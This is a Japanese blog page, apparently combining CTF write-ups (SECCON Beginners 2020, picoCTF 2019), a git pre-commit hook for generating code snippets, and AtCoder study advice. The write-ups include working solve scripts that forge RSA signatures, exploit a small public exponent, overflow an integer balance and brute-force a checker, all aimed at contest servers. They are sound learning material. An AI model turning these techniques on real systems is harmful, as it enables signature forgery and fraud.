rajyanのメモ帳

競技プログラミング、CTFなどに関することを適当にまとめます

SECCON Beginners CTF 2020 writeup

目次

はじめに

SECCON Beginners CTF 2020にふ゛ち (@betit0919) | Twitter, まいこー (@micheeeeell1001) | Twitterと3人で出ました。久しぶりのCTFとても楽しかったです。

f:id:latikuchi:20200524144215p:plain f:id:latikuchi:20200524144155p:plain 解けた問題はこんな感じで異常に偏っています。自分はCryptoとRev解いて余った時間でPwnやる予定だったのですが、Revが久しぶりでなんも覚えておらず、Pwnには手をつけられず……。 Rev, Pwnを練習しなくてはいけないなあと感じました。あと、久しぶりにPython 使ってそこにもめちゃくちゃ苦労したので、Pythonにももっと慣れていきたいです。

解いた問題

2020/05/26 追記 チームメイトが解いた問題の解法はこちらです betit0919.hatenablog.com

Noisy equations

概要

  • coeffs (接続するたびにランダム)とanswersが与えられる
  • flag長Nとすれば、coeffs はN×Nの行列answersはN×1のベクトル
  • これ以外にN×1のランダムなベクトルが設定されているが、seedは固定
  • A b + r = x (A: coeffs, b: flag, r: randbits, x: answers) という式が成り立つ

解法

  • seed固定なので二回取ってきて差分を取ると(A_1-A_2)b = x_1-x_2 という感じでランダム部分が消える
  • 逆行列をかけると求めたいbが求まる
from pwn import *
from Crypto.Util.number import *
import numpy as np
import json

io1 = remote("noisy-equations.quals.beginners.seccon.jp", 3000)
coeff1 = json.loads(io1.recvline())
ans1 = json.loads(io1.recvline())
io2 = remote("noisy-equations.quals.beginners.seccon.jp", 3000)
coeff2 = json.loads(io2.recvline())
ans2 = json.loads(io2.recvline())

N = len(ans2)
subcoeff = [[0 for i in range(N)] for j in range(N)]
subans = [0] * N
for i in range(N):
    for j in range(N):
        subcoeff[i][j] = int(coeff1[i][j]) - int(coeff2[i][j])
for i in range(N):
    subans[i] = int(ans1[i]) - int(ans2[i])

A = np.array(subcoeff).astype(np.float64)
b = np.array(subans).astype(np.float64)
flag_ascii = np.linalg.inv(A).dot(b)
flag = ''
for c in ans_ascii:
    flag += chr(round(c))
print(flag)

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

入力をうまく配列に入れたり、逆行列をかけたり……Python力がなさすぎて、解法思いついてから実装するまでにめっちゃ時間かかった。

RSA Calc

概要

  • nc で指定されたポートに繋ぐと、Sign, Exec, Exit を選ぶインターフェイスが与えられる
  • Signを選択すると入力したdataに対するSignatureが返される
  • Execを選択するとdataと signatureを入力させられ、dataに対するsignatureが正しい時のみその後の処理が実行される
  • SignatureはRSA署名でN, eも普通でp,qが求められる感じではない
  • dataはExecできると','で分解され、'+-*/'などの演算子と数字による演算が行われる
  • 'F'の入力があるとval==1337が実行されtrueならフラグが出力される
  • Sign では'F', '1337'を含む文字列を入力するとsignatureを返さないようになってる

解法

  • いかにして'1000,337,+,F'とか'1337,F'みたいな実行結果が1337になるような実行文のRSA署名を得るかが問題
  • m='1337,F'としたとき、例えば2mとかの署名は返してくれるので、これをうまく使う
  • sign_m=md(mod N) = (2m)d/2d (mod N)みたいな感じ
  • 実際には'a'でやった
from Crypto.Util.number import *
import binascii as ba
from pwn import *

io = remote('rsacalc.quals.beginners.seccon.jp', 10001)
io.recvuntil('N: ')
N = int(io.recvline())

m = b'1337,F'
ma = long_to_bytes(bytes_to_long(m)*bytes_to_long(b'a'))

io.sendlineafter('> ', '1')
io.sendlineafter('data> ', ma)

io.recvuntil('Signature: ')
sig_ma = io.recvline()[0:-1]
print(sig_ma)

io.sendlineafter('> ', '1')
io.sendlineafter('data> ', 'a')

io.recvuntil('Signature: ')
sig_a = io.recvline()[0:-1]
print(sig_a)

sig_m = hex(bytes_to_long(ba.unhexlify(sig_ma)) * inverse(bytes_to_long(ba.unhexlify(sig_a)),N) % N)

io.sendlineafter('> ', '2')
io.sendlineafter('data> ', m)
io.sendlineafter('signature> ', sig_m)
print(io.recvline())

ctf4b{SIgn_n33ds_P4d&H4sh}

mask

概要

  • 実行すると引数にflagを入力してくれと言われる
  • flag を入れて実行すると謎の文字列が2つ返り入力が正しくないと言われる

解法

  • radare2+r2dec でCの疑似コードを出してみる
while (eax < var_d4h) {
        eax = var_d8h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0xd0));
        eax &= 0x75;
        edx = eax;
        eax = var_d8h;
        rax = (int64_t) eax;
        *((rbp + rax - 0x90)) = dl;
        eax = var_d8h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0xd0));
        eax &= 0xffffffeb;
        edx = eax;
        eax = var_d8h;
        rax = (int64_t) eax;
        *((rbp + rax - 0x50)) = dl;
        var_d8h++;
        eax = var_d8h;
    }

片方は&= 0x75, もう一方は&= 0xffffffebで入力の各文字mask処理が行われて、それが出力されている

  eax = var_d4h;
    rax = (int64_t) eax;
    *((rbp + rax - 0x90)) = 0;
    eax = var_d4h;
    rax = (int64_t) eax;
    *((rbp + rax - 0x50)) = 0;
    rax = &s1;
    puts (rax);
    rax = &var_50h;
    puts (rax);
    rax = &s1;
    eax = strcmp (rax, "atd4`qdedtUpetepqeUdaaeUeaqau");
    if (eax == 0) {
        rax = &var_50h;
        eax = strcmp (rax, "c`b bk`kj`KbababcaKbacaKiacki");
        if (eax == 0) {
            puts ("Correct! Submit your FLAG.");
        }

それぞれ"atd4`qdedtUpetepqeUdaaeUeaqau"と"c`b bk`kj`KbababcaKbacaKiacki")との比較が行われる。

ということで0x75, 0xffffffebのmaskのビットが立っているところはflagのビットの状態がわかるので、2つのorをとってflagを逆算します。

a = 'atd4`qdedtUpetepqeUdaaeUeaqau'
b = 'c`b bk`kj`KbababcaKbacaKiacki'
mask1 = 0x75
mask2 = 0xffffffeb
ans = ""
for i in range(len(a)):
    ans += chr(ord(a[i])&mask1 | ord(b[i])&mask2)
print(ans)

ctf4b{dont_reverse_face_mask}

dont_reverse_face_mask

とか、問題文のところの

The price of mask goes down. So does the point (it's easy)!

とか、ユーモアが効いてますね。

考察した問題

yakisoba

  • revしてみると、一文字ずつ判定しているところがあってそこがカオス
  • ヒントにもある通り自動化しないとやってられなそう
  • 1文字ずつ正しいかどうか判別がつくのでbruteforceできそうだが、実装できなかった

ghost

  • ghostが書いたscriptということで、ghostscript->PostScriptで書かれている
  • interpreter使ったり、実行したりしながら試したが間に合わず

2020/05/26 追記 コンテスト後に解きました

概要

  • postscriptで書かれている
  • ghostscriptを入れて実行すると入力を求められる
  • 文字列と同じ長さの数列が返る
  • 後ろの文字を変えてもそれより前は変わらない

解法

  • 1文字ずつ決まるのでbruteforce
from pwn import *

output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094]
s = 'ctf4b{'

len_o = len(output)

while len(s) != len_o:
    for c in string.printable:
        p = process('gs chall.gs', shell=True)
        p.sendlinethen('details.\n', s+c)
        res = p.recvline(keepends=False).split(b' ')[0:-1]
        p.close()

        if list(map(int, res)) == output[:len(s)+1]:
            s += c
            print(s)
            break

ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

おわりに

時間かけた割に全然解けてなくないですか??? もっとrev, pwn問解けるようになりたい!!!

Git hooksで競プロ用スニペットの自動生成

注意

自分のやったことの理解とメモのために書いています。
この記事によって何か不利益が生じても責任は取れません。

やったこと

Git hooksのpre-commitと適当なシェルスクリプトを書いて、競技プログラミング用のライブラリを作成・編集してコミットする際に、スニペットを自動生成するようにしました。
Visual Studio用のスニペットですが、テンプレートを変えれば何にでも使えると思います。

目的

競技プログラミング用のライブラリをすぐに呼び出せるように スニペットを書いているが、ライブラリ編集したのにスニペットの編集を忘れることがあるし、そもそも内容はほぼ同じでわざわざコピペするのも面倒なので自動化したい。

求める仕様

  1. ライブラリはlibrary/library下、スニペットはlibrary/snippet下(ディレクトリの命名……)
  2. スニペットのtitle, shortcut, code の部分があれば十分
  3. titleはファイル名、shortcutはmy+ファイル名小文字にしたい
  4. ライブラリ側には、#includeやusing lint = long long などの記述があるが、スニペット側では実装部分だけで良い
  5. ただし、競技プログラミング用のテンプレートデバッグ用のテンプレートは#includeとかも含めてスニペットにしたい
  6. cppファイルの作成、編集したときにスニペットを自動生成して、削除(リネーム)した時には自動で消して欲しい
  7. 変更を常時監視しなくても良いけど何かしらのタイミングで反映したい

内容

スニペット自動生成のシェルスクリプト

# autosnippet.sh

#! /bin/bash
template="snippet/auto_template.snippet"

for cppfile in "$@"
do
        if echo "$cppfile" | grep -q template; then
                content=$(sed  -e '/[^\r\n]/,$!d' -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n')
        else
                content=$(sed -e '/^#include/d' -e '/^using/d' -e '/^constexpr/d' -e '/[^\r\n]/,$!d' \
                              -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n')
        fi

        filename=${cppfile%.cpp}
        filename=${filename##*/}

        sed -e "s/:Name:/$filename/" -e "s/:Shortcut:/my${filename,,}/" \
            -e "s/:Content:/$content/" $template > "snippet/$filename.snippet"
done

コードの簡単な説明

  1. cppファイル名が引数として渡されることを想定 for cppfile in "$@"で全部に対してやる
  2. #! /bin/bash シェバン
  3. templateはスニペットのもととなるファイル
  4. 仕様5のため、ファイル名に"template"が入っているかで分岐
  5. '/^#include/d'とかで特定の文字列が最初に来る行を削除、'/[^\r\n]/,$!d'で初めて改行以外の文字が来る行まで削除
  6. -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n' sedが読んでしまう文字をエスケープ(\/&改行)
  7. ${cppfile%.cpp}, ${filename##*/}パラメータ展開の後方最短マッチと前方最長マッチでファイル名だけにする
  8. sed -e "s/:Name:/$filename/" -e "s/:Shortcut:/my${filename,,}/" \ -e "s/:Content:/$content/" $template > "snippet/$filename.snippet"テンプレートの各文字列を置換、snippet/ファイル名.snippetに出力

という感じです。シェルスクリプト初めて書いたのですが、sedが読んでしまう文字をエスケープしたりするところが非常に面倒でした。もっと簡単に書けそうなら教えてください(そもそも他のスクリプト言語で書いた方が楽なのか?)。とりあえずこれでcppファイルを渡したら自動でスニペットを作ってくれる部分はできました。

あとは、仕様7をどうすれば良いか考えたのですが、Git hooksのpre-commitってやつを使いました。Git hookはGit の操作に合わせて特定のスクリプトを実行してくれる仕組みなんですが、その中でpre-commitはコミットの直前に実行され、終了ステータスが0以外ならコミットされないといったものです。.git/hooks下にpre-commitといファイルを作って実行権限を与えれば良い感じです。

こんなシェルスクリプトを書きました。

# pre-commit

#! /bin/bash
git diff --cached --name-only --diff-filter=d | grep '\.cpp$'| xargs ./autosnippet.sh
res=$?

git diff --cached --name-only --diff-filter=D | grep '\.cpp$' | sed -e 's/library/snippet/g' -e 's/cpp$/snippet/g' | xargs rm -f

exit $res || $?

git diff --cached --name-onlyで変更されたファイル名を取り出して、末尾が.cppのファイルをgrepして先ほどのコマンドに渡します。 --diff-filter=dで削除したファイル以外の変更が見れます。

その後、--diff-filter=Dで、削除したファイルだけ取り出して、スニペットファイルを取り除いています。終了ステータスは渡しているもののどっちも0しか返らない気がしています(わからん)。

まとめ

ライブラリの変更に合わせてスニペットファイルが自動生成されるようになって快適になりました(うれしい)。 シェルスクリプトまだまだよくわかってないので、他にいい感じのやり方があったら教えてください。

次はverify自動化のためにverification-helper導入したいなあ(まずはライブラリをもっと充実させましょう……)。

AtCoder 水色になるまで

はじめに

f:id:latikuchi:20191104132203p:plain

@unagiunagです。
先日のABC144で水色になることができたので(書くのが遅すぎてAGC044の結果も反映されています)、競技プログラミングをやっていく上で思ったことを適当に並べます。

勉強方法

基本的にはABC埋めと蟻本をやりながら、新しく出てきた知識などがあればそれについて調べて理解を深めるといった感じです。

精進の際の方針

  1. 30-40分考えて何も方針が思いつかない場合はeditorialや解説ブログをチラ見する。
  2. 解説をチラ見して解法が自分の中で理解できるなら、そこから10-20分くらいで考えをまとめて問題を解く。
  3. チラ見してもまとまらない場合はしっかりと解説を読み込んで問題を解く。
  4. 解説を読み込んでも理解できなければ諦める。
  5. 逆に、自力で良い感じの解法が思いついて、実装で詰まっている場合は解説などは一切見ずに自力で実装、デバッグする。
  6. 実装でどうしても詰まったら(1.5h-2hくらい)強い人の提出コードを見に行く。
  7. コードを見て写すのではなく、自分なりに実装する。

競技プログラミングは考察部分と実装部分に大きく分かれていると思っています。

考察部分は知らない知識があったり、類題を解いたことが無かったりする際に1から考察するのはコスパが悪く、ある程度考えて何も思いつかない場合にはすぐに解説を見て学んでいくことが大事だと思っています。

逆に、実装部分は自分の頭の中でまとめた解法をコードに落とし込む能力が大切で、これは自分の中で練習して高めていくものなので、人のコードを写経したりするのはあまり意味がないと考えています。(もちろん強い人のコードはまとまっていることが多く、コードの書き方という意味ではためになる部分も多いですが)
加えて、プログラミングする上で最も重要な能力はデバッグ力だと考えていて、これも繰り返し自分自身で考えてデバッグすることで身に着けていくしかないと思います。

解いた問題

f:id:latikuchi:20191104143304p:plain

水色時点での解いた問題はこのような感じです。基本的にはAtCoderの問題しか解いていないですが、水色までの段階で問題が不足することはまずないと思います。
様々なブログで無限回言及されている通り、初めはABC42以降を埋めていくのがおすすめです。
個人的なおすすめとしては、ABC126以降埋め > ABC42以降埋め > けんちょんさんのAtCoder版蟻本(初級編) > ABC42以前埋め(今ここです) > ARC-C や AGC-A,Bなど?。AtCoder版蟻本は難しい問題も多いのと、DP部分が非常に長くダレてきてしまうので、適当に飛ばしながらで良いと思います。
最近ではAtCoder ProblemsのDifficultyやRecommendations機能がとても優秀になっているので、Difficultyを見ながら解く問題を決めていけば良いと思います。

ライブラリ、スニペット

繰り返し使うアルゴリズム、データ構造などをライブラリやスニペットにすることはミスや労力減らすという意味で重要だと考えています。
ライブラリを書く際には、自分の中で理解した上で強い人のライブラリなどを参考にしながら書いています。 自分のライブラリ

参考にしているのは

スニペット競技プログラミングで使うようなコードの断片をショートカットで呼び出せるようにしていて非常に便利です。

モチベーションの保ち方

これは私が競技プログラミングを続けていくために意識していることです。一個人の考え方なので参考になるかはわかりません。

コンテストに出る

これは基本にして最も重要なことだと思います。コンテストに出ないとレートが上がることはないのはもちろんですが、定期的に精進の成果を見るという点でもコンテストに出続けることは大事です。
また、コンテスト中は追い込まれているので普段よりも必死に考察するし、よく身に付くと個人的には思っています。
AGCで何度も破滅を経験しましたし、緑色の中位~上位で停滞してた頃はコンテストに参加するのが辛かったですが、めげずに参加できるコンテストにはできる限り出ています。

自分と同じくらいのレベルの人と競い合う

私はそもそもサークルの友人に誘われて競技プログラミングを初めたのですが、その時点でサークルで水色の人が3人いて、追いつくことを目標に頑張っていました。今では、青色1人、水色3人、緑色1人のslackグループで、コンテスト前後や競プロに関係する話題があった時など色々とコミュニケーションをとっています。最近水色以上の他の人はサボり気味なので、今のうちに追い抜きたいです笑。

人に競技プログラミングを布教する

私の影響で競技プログラミングを始めた人が何人かいるのですが、その人たちのレートが上がっていくのを見ると嬉しいですし、自分も頑張らなきゃなという気持ちになれます。また、他の人にわかるようにかみ砕いて説明することは自分の理解を深めることにもつながり、勉強になっています。

AtCoder ProblemsのStreakを伸ばす

毎日少しでも競プロをやる習慣をつけるという点ではこれに勝る方法はないと思います。忙しい日は100点でも200点でも良いのでとりあえずやるくらいの気持ちで、負担にならない程度に続けていくことが大事だと思っています。

まとめ

いろいろ並べましたが、一番は競技プログラミングを楽しむことが大切かなと思います。苦労して考察して問題が解けたときは爽快感がありますし、知らないアルゴリズムの知識を問題を解きながら学ぶことができるのはワクワクします。ゲーム感覚で楽しむことができているからこそ、続けられているのかなあという気がしています。
とりあえず初めの目標である水色は達成したので、青色に向けしっかりと精進していきたいです!

picoCTF 2019 writeup

はじめに

picoCTF2019@betit0919 と2人で参加して、結果は20151点(Globalで273位)でした!

f:id:latikuchi:20191014020944p:plain

CTFも2度目の参加(TokyoWesterns CTF をやろうとして撃沈した記憶を抹消しながら)ということで、勉強したかったReverse EngineeringとBinary Exploitationを中心に Web以外は大体の問題に手を付けました。今回でpwntools, gdb-peda, radare2 といったCTFでよく使われているツールを、ある程度使いこなせるようになったことは大きかったです。

picoCTF自体は中高生向けのCTFということもあり、難易度が丁度良い感じでかなり楽しみながら勉強することができました。 初心者(自分もですが)の方にかなりおすすめのコンテストです。

復習と解答の整理も兼ねてwriteupを書いていきます。チームメイトのブログと合わせて、解いた問題を網羅しています。

また、ソースコードなどの詳細はgithubにすべて上げる予定です。

解けた問題

f:id:latikuchi:20191012051020p:plain

個人としては、解けた問題が60問で13250点。かなりの時間をかけたのにもかかわらず解けなかった問題もあるのでしっかり復習したいところです。
Cryptoを全完できたこととRevをある程度解けたことは満足していますが、まだまだBinary(Pwn)を練習しないとなあという気持ちです。

おおむね点数順、続きものはまとめています。

General Skills

2Warm - Points: 50

42を2進数表記します。
picoCTF{101010}

Lets Warm Up - Points: 50

0x70をASCIIに変換します。
picoCTF{p}

Warmed Up - Points: 50

0x3Dを10進数表記します。
picoCTF{61}

Bases - Points: 100

base64bDNhcm5fdGgzX3IwcDM1をデコードします。
pythonならbinascii.a2b_base64("bDNhcm5fdGgzX3IwcDM1")とかでできます。
picoCTF{l3arn_th3_r0p35}

Resources - Points: 100

https://picoctf.com/resourcesにつなぐとフラグがあります。
解説動画やチュートリアルが載っているので参考にすると良いかもしれないです。
picoCTF{r3source_pag3_f1ag}

Based - Points: 200

2,8,16進数表記からASCIIに変換します。
簡単な問題ですが、pwntoolsの練習も兼ねてコードを書きました。

ソースコード(クリックで展開)

from pwn import *

io = remote('2019shell1.picoctf.com', 44303)

print(io.recvuntil("give the"))
l = io.recvuntil(" as")
l_sp = l[:-2].split()
print(l_sp)

ans = ""
for i in l_sp:
    ans+=chr(int(i,2))
print(ans)
io.sendlineafter("Input:", ans)

print(io.recvuntil("give me the"))
l = io.recvuntil(" as")
l_sp = l[:-2].split()
print(l_sp)

ans = ""
for i in l_sp:
    ans+=chr(int(i,8))
print(ans)
io.sendlineafter("Input:", ans)

print(io.recvuntil("give me the"))
l = io.recvuntil(" as")
print(l[1:-3])
ans = l[1:-3].decode("hex")
print(ans)
io.sendlineafter("Input:", ans)

print(io.recvall())
io.close()

You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_b515dfd2}

8進数があまりにも見慣れないせいで少し戸惑いました。

plumbing - Points: 200

nc 2019shell1.picoctf.com 18944でつなぐと大量の文字列が流れてきます。
ヒントの通り、パイプ("|")で複数のコマンドを組み合わせる問題です。

nc 2019shell1.picoctf.com 18944 | grep picoCTF
picoCTF{digital_plumb3r_1d5b7de7}

一応pwntoolsの練習

ソースコード(クリックで展開)

from pwn import *

io = remote("2019shell1.picoctf.com", 18944)
io.recvuntil("picoCTF")
print("picoCTF"+io.recvline())

io.close()

whats-the-difference - Points: 200

2つの画像が与えられるので、バイナリファイルの比較ができるcmpコマンドを使います。
フラグが結構長かったので、cmp -l -b kitters.jpg cattos.jpg > diff.txtで出力して、簡単なコードを書きました。

ソースコード(クリックで展開)

diff = open("diff.txt","r")

flag = ""
for l in diff:
    flag += l[-2]
print(flag)

picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

flag_shop - Points: 300

ポートにつなぐとCUIが与えられます。1. Check Account Balance, 2. Buy Flags, 3. Exitが選べるようです。
与えられたCのソースコードを眺めると、2. Buy Flagsのメニューで2. 1337 Flagを購入できれば良さそうですが、お金が足りません。
さらに眺めると、1. Defintely not the flag Flagはいくつでも購入ができ、total_costにintのオーバーフローを起こせることがわかります。
intのオーバーフローは未定義動作なので何が起こるかはわかりませんが、とりあえず1111111111などでオーバーフローを起こすと、現在のお金がすごいことになります。

picoCTF{m0n3y_bag5_34c9a5f7}

mus1c - Points: 300

歌詞のようなテキストファイルが与えられます。
よく眺めてみる&ヒントを参照するとプログラミング言語っぽいことがわかるので、"Rockstar programming language"などでググります。
公式ページに実行環境があるので、それを使って実行してみると、数字がたくさん出力されます。あとはASCIIに変換するだけです。

ソースコード(クリックで展開)

a = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114]

ans=""
for i in a:
    ans+=chr(i)
print(ans)

picoCTF{rrrocknrn0113r}

1_wanna_b3_a_r0ck5tar - Points: 350

mus1cの続きです。今回はただ実行するだけでなく、適切な入力を与える必要があるみたいです。
ドキュメントをよく読む必要がありますが、ポイントは

  1. 大文字スタートは変数(空白区切りで大文字が出てこないところまで)
  2. a, an, the, my, yourで始まり、続く文字列が全て小文字なら変数(keywordを含む、case insensitive
  3. 変数 + is で空白以降を代入
  4. is に続く単語が変数や文字列じゃないなら、空白で区切られた単語の文字数がその桁の数字となる。例:Tommy was a big bad brother なら、Tommy = 1337(10文字超える場合下一桁。'-' はスペースと同じと見なす。(ここでハマった))
  5. Listen toで標準入力、Say/Shout/Whisper/Screamで標準出力

これくらいわかれば解けます。
If the music is a guitarIf the rhythm without Music is nothing ( rhythm - Music == 0) に合うように入力すると、数字が出力されるのでASCIIに変換します。

ソースコード(クリックで展開)

b = [66,79,78,74,79,86,73]

ans=""
for i in b:
    ans+=chr(i)
print(ans)

picoCTF{BONJOVI}

Cryptography

The Numbers - Points: 50

画像が与えられます。アルファベットをAから数えて何番目かで数字に変換されていることがわかります。
大文字指定に気を付けて、
PICOCTF{THENUMBERSMASON}

13 - Points: 100

cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}が問題の通り、ROT13で暗号化されているので復号します。
picoCTF{not_too_bad_of_a_problem}

Easy1 - Points: 100

テーブル、平文、鍵が与えられます。テーブルを見るとヴィジュネル暗号であることがわかるので、こことかで復号します(コードを書くのが面倒なので)。
picoCTF{CRYPTOISFUN}

caesar - Points: 100

問題名の通りシーザー暗号です。n文字ずらした分を出力してっぽいものを探します。

ソースコード(クリックで展開)

caesar = "rgdhhxcviwtgjqxrdcdydkefyh"

for i in range(26):
    txt = ""
    for c in caesar:
        txt += chr((ord(c)+i)%26 + ord('a'))
    print(txt)

picoCTF{crossingtherubiconojovpqjs}

Mr-Worldwide - Points: 200

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}というフラグっぽいメッセージが与えられます。
問題名から考えても緯度、経度を指してるので一つずつ調べていきます。
Google検索すると場所が表示されますが、首都とかを指してるのではなく微妙な位置を指しているので少し不安になります。
とりあえず都市の頭文字を並べてみるとKODIAK_ALASKAになり、少なくとも後半は合ってそうと思いながらとりあえず出してみると通りました。Kodiakはアラスカ州の市の一つのようです。
picoCTF{KODIAK_ALASKA}

Tapping - Points: 200

与えられたポートにつなぐと.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- ---.. .---- ---.. ..--- ..--- ....- ..... --... ..... }が表示されます。
問題名と表示された文字列からモールス信号と推測できるので、"morse signal translator"などでググります。
PICOCTF{M0RS3C0D31SFUN1818224575}

la cifra de - Points: 200

与えられたポートにつなぐと、長い暗号化された文章が表示され文中にフラグっぽい文字列が見えます。
ヴィジュネル暗号っぽいですが、鍵すら持ってないので適当にオンラインソルバーを探します。

picoCTF{b311a50_0r_v1gn3r3_c1ph3rb6cdf651}

rsa-pop-quiz - Points: 200

与えられたポートにつなぐとRSA暗号に関するクイズが次々に出題されます。
問題のヒントの通り、横でもう一つターミナルを開きながらやるとよいと思います。
問題自体は簡単でですが、間違えたり遅かったりすると初めからとなり、結構面倒でした。
If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)とのことなので、一番最後の答えである14311663942709674867122208214901970650496788151239520971623411712977120545970596944152836477をunpackしてASCIIに変換します。binasciiなどが便利です。

ソースコード(クリックで展開)

from pwn import *
import binascii
from mod_inv import *

p = 60413
q = 76753
n = p * q
print(n)

p = 54269
n = 5051846941
q = n / p
print(q)

p = 12611
q = 66347
phi = (p-1)*(q-1)
print(phi)

m = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e = 3
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
c = pow(m,e,n)
print(c)

p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
e = 65537
phi = (p-1)*(q-1)
d = mod_inv(e,phi)
print(d)

p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
c = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
q = n/p
phi = (p-1)*(q-1)
d = mod_inv(e,phi)
m = pow(c,d,n)
print(m)

hex_ans = hex(m)
print(unpack_many(hex_ans[2:]))
print(binascii.a2b_hex(hex_ans[2:]))

picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}

miniRSA - Points: 300

RSA暗号の公開鍵e,nと暗号文cが与えられます。問題文の通りeがとても小さいので、"Low Public Exponent Attack"でmが求まってしまいます。RSA暗号に対する攻撃についてはこちらのスライドを理解していれば大体良い感じだと思います。

ソースコード(クリックで展開)

この問題はPython3を使用しています

import gmpy2
import binascii

N = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e = 3
c = 2205316413931134031074603746928247799030155221252519872650082343781881947286623459260358458095368337105247516735006016223547924074432814737081052371203373104854490121754016011241903971190586239974732476290129461147622505210058893325312869
m,res = gmpy2.iroot(c,e)
hex_m = hex(m)
print(m)
print(binascii.a2b_hex(hex_m[2:])[2:])

picoCTF{n33d_a_lArg3r_e_db48b19b}

waves over lambda - Points: 300

与えられたポートにつなぐと暗号文が表示されます。つなぐたびに暗号文は変化するようです。
換字暗号のようなので、オンラインソルバー を探します。

frequency_is_c_over_lambda_mupgpennod
フラグが本来の形でないのは、そこから推測されることを嫌ったからでしょうか。解けるまで結構時間がかかりました。

AES-ABC - Points: 400

pythonソースコードppmファイルが与えられます。pythonコードを読むと"flag.ppm"を"KEY"をもとにAES-ECB形式で暗号化したあと、独自の処理をを行い"body.enc.ppm"を出力していて、それをAES-ABC形式と呼んでいるみたいです。
aes_abc_encrypt関数の中の独自の処理の部分が

    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

となっていて、AES-ECBで暗号化したブロックをに対し、前のブロックを足し合わせる処理をしているので、AES-ABCはAES-ECBのブロックの累積和になっていることがわかります。
UMAX = pow(256,16)は元のブロックの最大値なので、前のブロックとの (mod UMAX) での引き算をすれば、AES-ECBで暗号化された状態のブロックを復元できることがわかります。
ここまでは簡単なのですが、ここからAES-ECBを復号する必要があると思っていて、鍵をどうすれば良いかなど悩みました。結論としては、ppmは画像形式なのでブロックごとに暗号化されていても元の画像はある程度見えるという話で、既に答えは出ていました。
Padding Oracle Attack (これはAES-CBCに対する攻撃です)やChosen Plaintext Attackなどを調べていましたが、冷静に考えると復号できるわけがないですね……。

ソースコード(クリックで展開)

import os
import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))

def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0:
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded

def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

